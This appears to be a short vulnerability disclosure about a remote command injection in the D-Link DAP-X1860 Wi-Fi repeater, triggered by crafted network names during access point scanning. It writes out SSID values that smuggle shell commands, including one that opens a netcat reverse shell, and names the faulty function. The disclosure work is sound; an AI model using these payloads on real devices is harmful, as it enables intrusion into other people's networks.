D-Link DAP-X1860: Remote Command Injection

One of our pentesters recently got a new D-Link DAP-X1860 repeater, which they couldn't setup. This was caused by a neighbor's Wi-Fi containing a single tick in their Wi-Fi name ("Olaf's WiFi"), resulting in the following error while scanning for access points:

Creating their own Wi-Fi network with the name "Test' && uname -a &&" resulted in the following output:

And using "'& nc notebook 1337 -e /bin/sh &" a reverse shell could be started:

The culprit of the bug is in the parsing_xml_stasurvey function inside libcgifunc.so, where the scanned_ap_info is written to a temporary file using echo:

We tried contacting D-Link about this issue, but unfortunately, we've gotten no response to any of our mails since 8 June 2023.

Advisory: D-Link DAP-X1860: Remote Command Injection